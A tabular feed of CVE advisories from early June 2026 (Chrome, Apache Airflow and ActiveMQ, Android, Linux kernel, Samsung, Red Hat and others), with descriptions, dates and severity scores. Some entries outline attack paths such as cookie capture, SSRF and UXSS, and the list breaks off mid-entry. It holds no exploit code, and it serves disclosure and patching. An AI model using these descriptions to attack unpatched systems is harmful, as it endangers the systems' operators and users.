CVE-2026-11205	google - chrome	Insufficient validation of untrusted input in Chrome for iOS in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to inject arbitrary scripts or HTML (UXSS) via a crafted QR code. (Chromium security severity: Medium)	2026-06-04	6.1
CVE-2026-11229	google - chrome	Inappropriate implementation in Enterprise in Google Chrome prior to 149.0.7827.53 allowed a local attacker to perform privilege escalation via physical access to the device. (Chromium security severity: Low)	2026-06-04	6.1
CVE-2026-11273	google - chrome	Insufficient validation of untrusted input in Omnibox in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to inject arbitrary scripts or HTML (UXSS) via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	6.1
CVE-2026-41017	apache - airflow	Apache Airflow's `JWTRefreshMiddleware` set the JWT auth cookie without the `Secure` flag, so deployments running the Airflow API server behind an HTTPS-terminating reverse proxy (e.g. nginx / Envoy / a managed load balancer that terminates TLS and forwards plaintext to the API server, the	2026-06-01	5.9

		default cloud-native topology) would have the user's session JWT replayed over any cleartext HTTP request to the same host. A network-positioned attacker (Wi-Fi MITM, hostile LAN, captive-portal proxy) could induce a logged-in user's browser to issue an HTTP request to the deployment's hostname and capture the JWT cookie out of that request, then replay it against the authenticated API. Affects deployments where the Airflow API server is reached through a TLS-terminating proxy and the cookie's secure-by-default protection is load-bearing for session integrity. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.		
CVE-2026-49267	apache - airflow	Apache Airflow's EmailOperator and the underlying `airflow.utils.email` helpers established SMTP STARTTLS connections without verifying the remote certificate when the deployment used `[email] smtp_starttls=True` without `[email] smtp_ssl`. An attacker positioned between the worker and the configured SMTP server (network MITM — typical hostile-network attack-surface for environments where the SMTP relay sits outside the worker's trust boundary) could present a self-signed certificate, have the worker complete the STARTTLS handshake silently, and capture the SMTP AUTH credentials and message contents the worker forwarded. This CVE covers the **core apache-airflow side** of the same root cause already covered for the SMTP provider by `CVE-2026-41016` (published 2026-04-27, covering `apache-airflow-providers-smtp`). Users who already applied the SMTP-provider fix from CVE-2026-41016 should additionally upgrade `apache-airflow` to 3.2.2 or later to cover the core-side path through `airflow.utils.email`. Affects deployments configured with `smtp_starttls=True` and `smtp_ssl=False` where the SMTP relay is reachable across a less-trusted network segment than the worker. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.	2026-06-01	5.9
CVE-2026-49270	apache - multiple products	Exposure of Sensitive Information Through Metadata vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ, Apache ActiveMQ All. Brokers that are configured with a network connector with syncDurableSubs set to true, are vulnerable to an unauthenticated attacker who can receive a list of all durable topic subscriptions in the broker, including client identifiers, subscription names, topic destinations, and JMS selector expressions, by sending a BrokerInfo command. The broker incorrectly responds without first ensuring the connection is authenticated. This issue affects Apache ActiveMQ Broker: before 5.19.7, from 6.0.0 before 6.2.6; Apache ActiveMQ: before 5.19.7, from 6.0.0 before 6.2.6; Apache ActiveMQ All: before 5.19.7, from 6.0.0 before 6.2.6. Users are recommended to upgrade to version 6.2.6 or 5.19.7, which fixes the issue.	2026-06-01	5.9
CVE-2026-0061	google - multiple products	In multiple functions of WindowState.java, there is a possible way to trick a user into accepting a permission due to a tapjacking/overlay attack. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	5.9
CVE-2026-0075	google - multiple products	In multiple functions, there is a possible way to access the contacts database due to a SQL injection. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	5.9
CVE-2026-41918	siemens - RUGGEDCOM RST2428P	A vulnerability has been identified in RUGGEDCOM RST2428P (6GK6242-6PA00) (All versions < V4.0). The affected applications stores sensitive information in the browser cache when an authenticated user modify specific configurations. This could allow an authenticated attacker to access sensitive data stored in the browser.	2026-06-02	5.9
CVE-2023-52951	synology - note_station_client	A cleartext transmission of sensitive information vulnerability in Synology Note Station Client before 2.2.4-703 allows man-in-the-middle attackers to obtain user credential.	2026-06-03	5.9
CVE-2026-11199	google - chrome	Inappropriate implementation in WebRTC in Google Chrome prior to 149.0.7827.53 allowed an attacker in a privileged network position to leak cross-origin data via malicious network traffic. (Chromium security severity: Medium)	2026-06-04	5.9
CVE-2026-11238	google - chrome	Inappropriate implementation in DevTools in Google Chrome prior to 149.0.7827.53 allowed an attacker who convinced a user to install a malicious extension to obtain potentially sensitive information from process memory via a crafted Chrome Extension. (Chromium security severity: Low)	2026-06-05	5.9
CVE-2026-10517	red hat - multiple products	A flaw was found in Clair. The fetcher component makes outbound HTTP requests to attacker-supplied URIs from manifest layer descriptors without IP or scheme filtering. When PSK authentication is not configured (opt-in, not enforced by default), an unauthenticated attacker can submit a manifest with a URI pointing to internal services or cloud metadata endpoints. The SSRF is reflective for non-200 responses, leaking up to 256 bytes of error body content via CheckResponse error messages. Operator-managed Red Hat Quay deployments auto-configure PSK and are not exposed to the unauthenticated attack vector.	2026-06-01	5.8
CVE-2026-40989	vmware - multiple products	Under infinite recursion in the routing layer, request-handling can cause OOM error. Affected Spring Products and Versions: Spring Cloud Function 3.2.x: versions prior to 3.2.16 Spring Cloud Function 4.1.x: versions prior to 4.1.10 Spring Cloud Function 4.2.x: versions prior to 4.2.6 Spring Cloud Function 4.3.x: versions prior to 4.3.3 Spring Cloud Function 5.0.x: versions prior to 5.0.2 Older, unsupported versions are also affected.	2026-06-01	5.7
CVE-2026-40990	vmware - multiple products	OOM error is possible while attempting to add infinite amount of functions to Function Registry. Affected Spring Products and Versions: Spring Cloud Function 3.2.x: versions prior to 3.2.16 Spring Cloud Function 4.1.x: versions prior to 4.1.10 Spring Cloud Function 4.2.x: versions prior to 4.2.6 Spring Cloud Function 4.3.x: versions prior to 4.3.3	2026-06-01	5.7

		Spring Cloud Function 5.0.x: versions prior to 5.0.2 Older, unsupported versions are also affected.		
CVE-2025-48648	google - multiple products	In isSameApp of NotificationManagerService.java, there is a possible persistent dos due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	5.5
CVE-2026-0018	google - multiple products	In multiple functions of AccessibilityManagerService.java, there is a possible persistent denial of service due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	5.5
CVE-2026-0042	google - multiple products	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible persistent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	5.5
CVE-2026-0043	google - multiple products	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible persistent denial of service due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	5.5
CVE-2026-0060	google - multiple products	In updateState of GraphicsDriverEnableAngleAsSystemDriverController.java, there is a possible persistent dos issue due to an unusual root cause. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	5.5
CVE-2026-0067	google - multiple products	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible way to cause a permanent denial of service due to a logic error in the code. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	5.5
CVE-2026-0069	google - android	In verifySignature of ApkChecksums.java, there is a possible way to cause a crash due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	5.5
CVE-2026-0070	google - multiple products	In multiple functions of DevicePolicyManagerService.java, there is a possible way to hide a system critical package due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	5.5
CVE-2026-0074	google - multiple products	In getPreferredSize of LauncherProcessImageListener.kt, there is a possible denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	5.5
CVE-2026-0079	google - multiple products	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible persistent denial of service due to an integer overflow. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	5.5
CVE-2026-0085	google - multiple products	In applySimpleFieldMaxSize of DataRowHandler.java, there is a possible way to insert a large contact name due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	5.5
CVE-2026-28578	google - multiple products	In multiple functions of DevicePolicyManagerService.java, there is a possible desync from persistence due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	5.5
CVE-2025-59609	qualcomm - 5g_fixed_wireless_access_platform_firmware	Information Disclosure when processing advertisement frames with malformed MBSSID elements of insufficient length.	2026-06-01	5.5
CVE-2025-71313	linux - linux_kernel	In the Linux kernel, the following vulnerability has been resolved: PCI: endpoint: Add missing NULL check for alloc_workqueue() alloc_workqueue() can return NULL on memory allocation failure. Without proper error checking, this may lead to a NULL pointer dereference when queue_work() is later called with the NULL workqueue pointer in epf_ntb_epc_init(). Add a NULL check immediately after alloc_workqueue() and return -ENOMEM on failure to prevent the driver from loading with an invalid workqueue pointer.	2026-06-03	5.5
CVE-2025-71314	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: drm/panthor: Recover from panthor_gpu_flush_caches() failures We have seen a few cases where the whole memory subsystem is blocked and flush operations never complete. When that happens, we want to: - schedule a reset, so we can recover from this situation - in the reset path, we need to reset the pending_reqs so we can send new commands after the reset - if more panthor_gpu_flush_caches() operations are queued after the timeout, we skip them and return -EIO directly to avoid needless waits (the memory block won't miraculously work again) Note that we drop the WARN_ON()s because these hangs can be triggered with buggy GPU jobs created by the UMD, and there's no way we can prevent it. We do keep the error messages though. v2: - New patch v3: - Collect R-b - Explicitly mention the fact we dropped the WARN_ON()s in the commit message	2026-06-03	5.5

		v4: - No changes		
CVE-2026-46245	linux - linux_kernel	In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Fix dc_link NULL handling in HPD init amdgpu_dm_hpd_init() may see connectors without a valid dc_link. The code already checks dc_link for the polling decision, but later unconditionally dereferences it when setting up HPD interrupts. Assign dc_link early and skip connectors where it is NULL. Fixes the below: drivers/gpu/drm/amd/amdgpu/../display/amdgpu_dm/amdgpu_dm_irq.c:940 amdgpu_dm_hpd_init() error: we previously assumed 'dc_link' could be null (see line 931) drivers/gpu/drm/amd/amdgpu/../display/amdgpu_dm/amdgpu_dm_irq.c 923 /* 924 * Analog connectors may be hot-plugged unlike other connector 925 * types that don't support HPD. Only poll analog connectors. 926 */ 927 use_polling |= 928 amdgpu_dm_connector->dc_link && ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ The patch adds this NULL check but hopefully it can be removed 929 dc_connector_supports_analog(amdgpu_dm_connector->dc_link->link_id.id); 930 931 dc_link = amdgpu_dm_connector->dc_link; dc_link assigned here. 932 933 /* 934 * Get a base driver irq reference for hpd ints for the lifetime 935 * of dm. Note that only hpd interrupt types are registered with 936 * base driver; hpd_rx types aren't. IOW, amdgpu_irq_get/put on 937 * hpd_rx isn't available. DM currently controls hpd_rx 938 * explicitly with dc_interrupt_set() 939 */ --> 940 if (dc_link->irq_source_hpd != DC_IRQ_SOURCE_INVALID) { ^^^^^^^^^^^^^^^^^^^^^^^ If it's NULL then we are trouble because we dereference it here. 941 irq_type = dc_link->irq_source_hpd - DC_IRQ_SOURCE_HPD1; 942 /* 943 * TODO: There's a mismatch between mode_info.num_hpd 944 * and what bios reports as the # of connectors with hpd	2026-06-03	5.5
CVE-2026-46247	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: clk: qcom: gfx3d: add parent to parent request map After commit d228ece36345 ("clk: divider: remove round_rate() in favor of determine_rate()") determining GFX3D clock rate crashes, because the passed parent map doesn't provide the expected best_parent_hw clock (with the roundd_rate path before the offending commit the best_parent_hw was ignored). Set the field in parent_req in addition to setting it in the req, fixing the crash. clk_hw_round_rate (drivers/clk/clk.c:1764) (P) clk_divider_bestdiv (drivers/clk/clk-divider.c:336) divider_determine_rate (drivers/clk/clk-divider.c:358) clk_alpha_pll_postdiv_determine_rate (drivers/clk/qcom/clk-alpha-pll.c:1275) clk_core_determine_round_nolock (drivers/clk/clk.c:1606) clk_core_round_rate_nolock (drivers/clk/clk.c:1701) __clk_determine_rate (drivers/clk/clk.c:1741) clk_gfx3d_determine_rate (drivers/clk/qcom/clk-rcg2.c:1268) clk_core_determine_round_nolock (drivers/clk/clk.c:1606) clk_core_round_rate_nolock (drivers/clk/clk.c:1701) clk_core_round_rate_nolock (drivers/clk/clk.c:1710) clk_round_rate (drivers/clk/clk.c:1804) dev_pm_opp_set_rate (drivers/opp/core.c:1440 (discriminator 1)) msm_devfreq_target (drivers/gpu/drm/msm/msm_gpu_devfreq.c:51) devfreq_set_target (drivers/devfreq/devfreq.c:360) devfreq_update_target (drivers/devfreq/devfreq.c:426)	2026-06-03	5.5

		devfreq_monitor (drivers/devfreq/devfreq.c:458) process_one_work (arch/arm64/include/asm/jump_label.h:36 include/trace/events/workqueue.h:110 kernel/workqueue.c:3284) worker_thread (kernel/workqueue.c:3356 (discriminator 2) kernel/workqueue.c:3443 (discriminator 2)) kthread (kernel/kthread.c:467) ret_from_fork (arch/arm64/kernel/entry.S:861)		
CVE-2026-46248	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: wifi: ath12k: clear stale link mapping of ahvif->links_map When an arvif is initialized in non-AP STA mode but MLO connection preparation fails before the arvif is created (arvif->is_created remains false), the error path attempts to delete all links. However, link deletion only executes when arvif->is_created is true. As a result, ahvif retains a stale entry of arvif that is initialized but not created. When a new arvif is initialized with the same link id, this stale mapping triggers the following WARN_ON. WARNING: drivers/net/wireless/ath/ath12k/mac.c:4271 at ath12k_mac_op_change_vif_links+0x140/0x180 [ath12k], CPU#3: wpa_supplicant/275 Call trace: ath12k_mac_op_change_vif_links+0x140/0x180 [ath12k] (P) drv_change_vif_links+0xbc/0x1a4 [mac80211] ieee80211_vif_update_links+0x54c/0x6a0 [mac80211] ieee80211_vif_set_links+0x40/0x70 [mac80211] ieee80211_prep_connection+0x84/0x450 [mac80211] ieee80211_mgd_auth+0x200/0x480 [mac80211] ieee80211_auth+0x14/0x20 [mac80211] cfg80211_mlme_auth+0x90/0xf0 [cfg80211] nl80211_authenticate+0x32c/0x380 [cfg80211] genl_family_rcv_msg_doit+0xc8/0x134 Fix this issue by unassigning the link vif and clearing ahvif->links_map if arvif is only initialized but not created. Tested-on: QCN9274 hw2.0 PCI WLAN.WBE.1.5-01651-QCAHKSWPL_SILICONZ-1	2026-06-03	5.5
CVE-2026-46249	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: octeontx2-af: Fix PF driver crash with kexec kernel booting During a kexec reboot the hardware is not power-cycled, so AF state from the old kernel can persist into the new kernel. When AF and PF drivers are built as modules, the PF driver may probe before AF reinitializes the hardware. The PF driver treats the RVUM block revision as an indication that AF initialization is complete. If this value is left uncleared at shutdown, PF may incorrectly assume AF is ready and access stale hardware state, leading to a crash. Clear the RVUM block revision during AF shutdown to avoid PF mis-detecting AF readiness after kexec.	2026-06-03	5.5
CVE-2026-46252	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: regulator: core: fix locking in regulator_resolve_supply() error path If late enabling of a supply regulator fails in regulator_resolve_supply(), the code currently triggers a lockdep warning: WARNING: drivers/regulator/core.c:2649 at _regulator_put+0x80/0xa0, CPU#6: kworker/u32:4/596 ... Call trace: _regulator_put+0x80/0xa0 (P) regulator_resolve_supply+0x7cc/0xbe0 regulator_register_resolve_supply+0x28/0xb8 as the regulator_list_mutex must be held when calling _regulator_put(). To solve this, simply switch to using regulator_put(). While at it, we should also make sure that no concurrent access happens to our rdev while we clear out the supply pointer. Add appropriate locking to ensure that.	2026-06-03	5.5

		While the code in question will be removed altogether in a follow-up commit, I believe it is still beneficial to have this corrected before removal for future reference.		
CVE-2026-46254	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: AppArmor: Allow apparmor to handle unaligned dfa tables The dfa tables can originate from kernel or userspace and 8-byte alignment isn't always guaranteed and as such may trigger unaligned memory accesses on various architectures. Resulting in the following [73.901376] WARNING: CPU: 0 PID: 341 at security/apparmor/match.c:316 aa_dfa_unpack+0x6cc/0x720 [74.015867] Modules linked in: binfmt_misc evdev flash sg drm drm_panel_orientation_quirks backlight i2c_core configfs nfnetlink autofs4 ext4 crc16 mbcache jbd2 hid_generic usbhid sr_mod hid cdrom sd_mod ata_generic ohci_pci ehci_pci ehci_hcd ohci_hcd pata_ali libata sym53c8xx scsi_transport_spi tg3 scsi_mod usbcore libphy scsi_common mdio_bus usb_common [74.428977] CPU: 0 UID: 0 PID: 341 Comm: apparmor_parser Not tainted 6.18.0-rc6+ #9 NONE [74.536543] Call Trace: [74.568561] [<0000000000434c24>] dump_stack+0x8/0x18 [74.633757] [<0000000000476438>] __warn+0xd8/0x100 [74.696664] [<00000000004296d4>] warn_slowpath_fmt+0x34/0x74 [74.771006] [<00000000008db28c>] aa_dfa_unpack+0x6cc/0x720 [74.843062] [<00000000008e643c>] unpack_pdb+0xbc/0x7e0 [74.910545] [<00000000008e7740>] unpack_profile+0xbe0/0x1300 [74.984888] [<00000000008e82e0>] aa_unpack+0xe0/0x6a0 [75.051226] [<00000000008e3ec4>] aa_replace_profiles+0x64/0x1160 [75.130144] [<00000000008d4d90>] policy_update+0xf0/0x280 [75.201057] [<00000000008d4fc8>] profile_replace+0xa8/0x100 [75.274258] [<0000000000766bd0>] vfs_write+0x90/0x420 [75.340594] [<00000000007670cc>] ksys_write+0x4c/0xe0 [75.406932] [<0000000000767174>] sys_write+0x14/0x40 [75.472126] [<0000000000406174>] linux_sparc_syscall+0x34/0x44 [75.548802] ---[end trace 0000000000000000]--- [75.609503] dfa blob stream 0xfff0000008926b96 not aligned. [75.682695] Kernel unaligned access at TPC[8db2a8] aa_dfa_unpack+0x6e8/0x720 Work around it by using the get_unaligned_xx() helpers.	2026-06-03	5.5
CVE-2026-46255	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: dmaengine: fsl-edma: don't explicitly disable clocks in .remove() The clocks in fsl_edma_engine::muxclk are allocated and enabled with devm_clk_get_enabled(), which automatically cleans these resources up, but these clocks are also manually disabled in fsl_edma_remove(). This causes warnings on driver removal for each clock: edma_module already disabled WARNING: CPU: 0 PID: 418 at drivers/clk/clk.c:1200 clk_core_disable+0x198/0x1c8 [...] Call trace: clk_core_disable+0x198/0x1c8 (P) clk_disable+0x34/0x58 fsl_edma_remove+0x74/0xe8 [fsl_edma] [...] ---[end trace 0000000000000000]--- edma_module already unprepared WARNING: CPU: 0 PID: 418 at drivers/clk/clk.c:1059 clk_core_unprepare+0x1f8/0x220 [...] Call trace: clk_core_unprepare+0x1f8/0x220 (P) clk_unprepare+0x34/0x58 fsl_edma_remove+0x7c/0xe8 [fsl_edma] [...] ---[end trace 0000000000000000]--- Fix these warnings by removing the unnecessary fsl_disable_clocks() call in fsl_edma_remove().	2026-06-03	5.5
CVE-2026-46256	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: NFS/localio: prevent direct reclaim recursion into NFS via nfs_writepages LOCALIO is an NFS loopback mount optimization that avoids using the network for READ, WRITE and COMMIT if the NFS client and server are determined to be on the same system. But because LOCALIO is still fundamentally "just NFS loopback mount" it is susceptible to recursion deadlock via direct reclaim, e.g.: NFS LOCALIO down to XFS and then back into NFS via nfs_writepages.	2026-06-03	5.5

		Fix LOCALIO's potential for direct reclaim deadlock by ensuring that all its page cache allocations are done from GFP_NOFS context. Thanks to Ben Coddington for pointing out commit ad22c7a043c2 ("xfs: prevent stack overflows from page cache allocation").		
CVE-2026-46257	linux - linux_kernel	In the Linux kernel, the following vulnerability has been resolved: clocksource/drivers/timer-sp804: Fix an Oops when read_current_timer is called on ARM32 platforms where the SP804 is not registered as the sched_clock. On SP804, the delay timer shares the same clkevt instance with sched_clock. On some platforms, when sp804_clocksource_and_sched_clock_init is called with use_sched_clock not set to 1, sched_clkevt is not properly initialized. However, sp804_register_delay_timer is invoked unconditionally, and read_current_timer() subsequently calls sp804_read on an uninitialized sched_clkevt, leading to a kernel Oops when accessing sched_clkevt->value. Declare a dedicated clkevt instance exclusively for delay timer, instead of sharing the same clkevt with sched_clock. This ensures that read_current_timer continues to work correctly regardless of whether SP804 is selected as the sched_clock.	2026-06-03	5.5
CVE-2026-46258	linux - linux_kernel	In the Linux kernel, the following vulnerability has been resolved: gpio: cdev: Avoid NULL dereference in linehandle_create() In linehandle_create(), there is a statement like this: retain_and_null_ptr(lh); Soon after, there is a debug printout that dereferences "lh", which will crash things. Avoid the crash by using handlereq.lines, which is the same value.	2026-06-03	5.5
CVE-2026-46261	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: spi: wpcm-fiu: Fix potential NULL pointer dereference in wpcm_fiu_probe() platform_get_resource_byname() can return NULL, which would cause a crash when passed the pointer to resource_size(). Move the fiu->memory_size assignment after the error check for devm_ioremap_resource() to prevent the potential NULL pointer dereference.	2026-06-03	5.5
CVE-2026-46262	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: ASoC: fsl_xcvr: Revert fix missing lock in fsl_xcvr_mode_put() This reverts commit f51424872760 ("ASoC: fsl_xcvr: fix missing lock in fsl_xcvr_mode_put()"). The original patch attempted to acquire the card->controls_rwsem lock in fsl_xcvr_mode_put(). However, this function is called from the upper ALSA core function snd_ctl_elem_write(), which already holds the write lock on controls_rwsem for the whole put operation. So there is no need to simply hold the lock for fsl_xcvr_activate_ctl() again. Acquiring the read lock while holding the write lock in the same thread results in a deadlock and a hung task, as reported by Alexander Stein.	2026-06-03	5.5
CVE-2026-46268	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: PCI/P2PDMA: Fix p2pmem_alloc_mmap() warning condition Commit b7e282378773 has already changed the initial page refcount of p2pdma page from one to zero, however, in p2pmem_alloc_mmap() it uses "VM_WARN_ON_ONCE_PAGE(!page_ref_count(page))" to assert the initial page refcount should not be zero and the following will be reported when CONFIG_DEBUG_VM is enabled: page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x380400000 flags: 0x20000000002000(reserved|node=0|zone=4) raw: 0020000000002000 ff1100015e3ab440 0000000000000000 0000000000000000 raw: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000 page dumped because: VM_WARN_ON_ONCE_PAGE(!page_ref_count(page)) ------------[cut here]------------ WARNING: CPU: 5 PID: 449 at drivers/pci/p2pdma.c:240 p2pmem_alloc_mmap+0x83a/0xa60 Fix by using "page_ref_count(page)" as the assertion condition.	2026-06-03	5.5
CVE-2026-46269	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved: pinctrl: canaan: k230: Fix NULL pointer dereference when parsing devicetree	2026-06-03	5.5

		When probing the k230 pinctrl driver, the kernel triggers a NULL pointer dereference. The crash trace showed: [0.732084] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000068 [0.740737] ... [0.776296] epc : k230_pinctrl_probe+0x1be/0x4fc In k230_pinctrl_parse_functions(), we attempt to retrieve the device pointer via info->pctl_dev->dev, but info->pctl_dev is only initialized after k230_pinctrl_parse_dt() completes. At the time of DT parsing, info->pctl_dev is still NULL, leading to the invalid dereference of info->pctl_dev->dev. Use the already available device pointer from platform_device instead of accessing through uninitialized pctl_dev.		
CVE-2026-50262	red hat - multiple products	An out-of-bounds read flaw was found in the X.Org X server and Xwayland in __glXDisp_ChangeDrawableAttributes(). A wrong size validation check can read a client-controlled number of bytes, exceeding the request buffer, leading to information disclosure. A write path also exists but requires byte-swapped clients which is disabled by default.	2026-06-05	5.5
CVE-2026-9308	mozilla - firefox	Firefox for iOS Reader View replaced page content in its HTML template before replacing other internal placeholders. A malicious page could include a placeholder string that was later substituted with JSON-LD data, potentially resulting in arbitrary JavaScript execution. This vulnerability was fixed in Firefox for iOS 151.2.	2026-06-01	5.4
CVE-2026-9309	mozilla - firefox	Firefox for iOS Reader View did not properly escape HTML tags in JSON-LD metadata. A malicious page could inject markup that changed Reader View behavior and leaked sensitive URL parameters. These parameters could then be used to access internal pages, potentially resulting in arbitrary JavaScript execution in an internal origin. This vulnerability was fixed in Firefox for iOS 151.2.	2026-06-01	5.4
CVE-2026-10984	google - chrome	Inappropriate implementation in Accessibility in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: High)	2026-06-04	5.4
CVE-2026-11157	google - chrome	Script injection in Accessibility in Google Chrome prior to 149.0.7827.53 allowed an attacker who convinced a user to install a malicious extension to inject arbitrary scripts or HTML (UXSS) via a crafted Chrome Extension. (Chromium security severity: Medium)	2026-06-04	5.4
CVE-2026-11232	google - chrome	Inappropriate implementation in TabGroups in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to perform UI spoofing via malicious network traffic. (Chromium security severity: Low)	2026-06-04	5.4
CVE-2026-11243	google - chrome	Inappropriate implementation in Downloads in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	5.4
CVE-2026-49328	apache - fesod	Server-Side Request Forgery (SSRF) in the UrlImageConverter component of Apache Fesod (Incubating) fesod-sheet before 2.0.2-incubating allows attackers to cause outbound network requests to internal or otherwise restricted resources via a user-supplied image URL. Users are recommended to upgrade to version 2.0.2-incubating, which fixes this issue.	2026-06-01	5.3
CVE-2026-22054	netapp - Active IQ Config Advisor	Active IQ Config Advisor version 6.7.3 contains hard-coded credentials that could allow an authenticated attacker with low privileges to perform unauthorized AutoSupport operations.	2026-06-03	5.3
CVE-2026-22055	netapp - Active IQ OneCollect	Active IQ OneCollect version 2.7.3 contains hard-coded credentials that could allow an authenticated attacker with low privileges to perform unauthorized AutoSupport operations.	2026-06-03	5.3
CVE-2026-11004	google - chrome	Out of bounds read in ANGLE in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	5.3
CVE-2026-11005	google - chrome	Out of bounds read in ANGLE in Google Chrome on Windows prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	5.3
CVE-2026-11098	google - chrome	Insufficient validation of untrusted input in GPU in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	5.3
CVE-2026-11145	google - chrome	Race in Geolocation in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	5.3
CVE-2026-11174	google - chrome	Inappropriate implementation in Site Isolation in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	5.3
CVE-2026-11246	google - chrome	Insufficient validation of untrusted input in IndexedDB in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	5.3
CVE-2026-21031	samsung - multiple products	Improper authorization in AppBlock prior to SMR Jun-2026 Release 1 allows local attacker to launch arbitrary activity. User interaction is required for triggering this vulnerability.	2026-06-05	5.2
CVE-2026-11276	google - chrome	Inappropriate implementation in Cast in Google Chrome prior to 149.0.7827.53 allowed an attacker on the local network segment to bypass discretionary access control via malicious network traffic. (Chromium security severity: Low)	2026-06-05	5.1
CVE-2026-21028	samsung - multiple products	Improper access control in AuditLogService prior to SMR Jun-2026 Release 1 allows local attackers to access sensitive information.	2026-06-05	5.1
CVE-2026-10533	redhat - openshift_container_platform	A flaw was found in OpenShift Container Platform. Completed pods with restartPolicy: Never do not count toward ResourceQuota pod limits, and Kubernetes events are not quota-scoped. A non-privileged user who can create pods in a namespace can exploit this to generate a large volume of events that accumulate in etcd, causing API server performance degradation across the cluster.	2026-06-01	5
CVE-2026-11281	google - chrome	Integer overflow in Chromoting in Google Chrome on Windows prior to 149.0.7827.53 allowed a local attacker to obtain potentially sensitive information from process memory via a crafted ETW event. (Chromium security severity: Low)	2026-06-05	5

CVE-2026-11290	google - Chrome	Integer overflow in WebView in Google Chrome on Android prior to 149.0.7827.53 allowed a local attacker to cause a denial of service via a malicious file. (Chromium security severity: Low)	2026-06-05	5
CVE-2026-21027	samsung - multiple products	Improper export of android application components in ImsSettings prior to SMR Jun-2026 Release 1 allows local attackers to trigger logging function.	2026-06-05	4.8

CVE-2026-46272	linux - multiple products	In the Linux kernel, the following vulnerability has been resolved:
		
		coresight: tmc-etr: Fix race condition between sysfs and perf mode
		
		When trying to run perf and sysfs mode simultaneously, the WARN_ON()
		in tmc_etr_enable_hw() is triggered sometimes:
		
		WARNING: CPU: 42 PID: 3911571 at drivers/hwtracing/coresight/coresight-tmc-etr.c:1060
		tmc_etr_enable_hw+0xc0/0xd8 [coresight_tmc]
		[..snip..]
		Call trace:
		tmc_etr_enable_hw+0xc0/0xd8 [coresight_tmc] (P)
		tmc_enable_etr_sink+0x11c/0x250 [coresight_tmc] (L)
		tmc_enable_etr_sink+0x11c/0x250 [coresight_tmc]
		coresight_enable_path+0x1c8/0x218 [coresight]
		coresight_enable_sysfs+0xa4/0x228 [coresight]
		enable_source_store+0x58/0xa8 [coresight]
		dev_attr_store+0x20/0x40
		sysfs_kf_write+0x4c/0x68
		kernfs_fop_write_iter+0x120/0x1b8
		vfs_write+0x2c8/0x388
		ksys_write+0x74/0x108
		__arm64_sys_write+0x24/0x38
		el0_svc_common.constprop.0+0x64/0x148
		do_el0_svc+0x24/0x38
		el0_svc+0x3c/0x130
		el0t_64_sync_handler+0xc8/0xd0
		el0t_64_sync+0x1ac/0x1b0
